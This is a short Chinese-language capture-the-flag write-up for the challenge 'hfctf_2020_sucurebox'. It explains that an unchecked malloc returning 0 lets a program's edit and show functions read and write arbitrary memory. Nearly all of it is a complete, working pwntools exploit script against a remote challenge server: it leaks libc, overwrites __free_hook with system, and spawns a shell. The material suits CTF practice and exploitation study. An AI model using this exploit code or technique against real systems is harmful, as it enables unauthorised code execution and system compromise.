hfctf_2020_sucurebox(0地址引用)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在add功能里,size的判断不准确,导致size可以很大,使得malloc(size)返回0,但是没有检查malloc的返回值
然后,edit功能里可以指定offset和len,这样,我们就能在整个内存里进行读写了。
#coding:utf8
from pwn import *
#sh = process('./hfctf_2020_sucurebox')
sh = remote('node3.buuoj.cn',25367)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']
def add(size):
sh.sendlineafter('5.Exit','1')
sh.sendlineafter('Size:',str(size))
sh.recvuntil('Key:')
sh.recvuntil('\n')
strs = sh.recvuntil('\n',drop = True).strip().split(' ')
data = []
for x in strs:
if x == '':
continue
data.append(int(x,16))
return data
def delete(index):
sh.sendlineafter('5.Exit','2')
sh.sendlineafter('Box ID:',str(index))
def enc(index,off,len,msg):
sh.sendlineafter('5.Exit','3')
sh.sendlineafter('Box ID:',str(index))
sh.sendlineafter('Offset of msg:',str(off))
sh.sendlineafter('Len of msg:',str(len))
sh.sendafter('Msg:',msg)
def show(index,off,len):
sh.sendlineafter('5.Exit','4')
sh.sendlineafter('Box ID:',str(index))
sh.sendlineafter('Offset of msg:',str(off))
sh.sendlineafter('Len of msg:',str(len))
def tranLong(data):
if data & 0x8000000000000000 != 0:
return data - 0x10000000000000000
else:
return data
for i in range(8):
add(0x200)
for i in range(1,8):
delete(i)
delete(0)
key = add(0x200) #0
data = '/bin/sh\x00'
ans = ''
for i in range(8):
ans += p8(ord(data[i]) ^ key[i])
enc(0,0,0x8,ans)
for i in range(7):
add(0x200)
show(7,0x8,0x8)
sh.recvuntil('Msg:')
sh.recvuntil('\n')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
#malloc返回0,由于程序没有检查,所以可以任意地址读写
key = add(tranLong(0xFFFFFFFF00000FFF))
data = p64(system_addr)
ans = ''
for i in range(8):
ans += p8(ord(data[i]) ^ key[i])
enc(8,tranLong(free_hook_addr),8,ans)
#getshell
delete(0)
sh.interactive()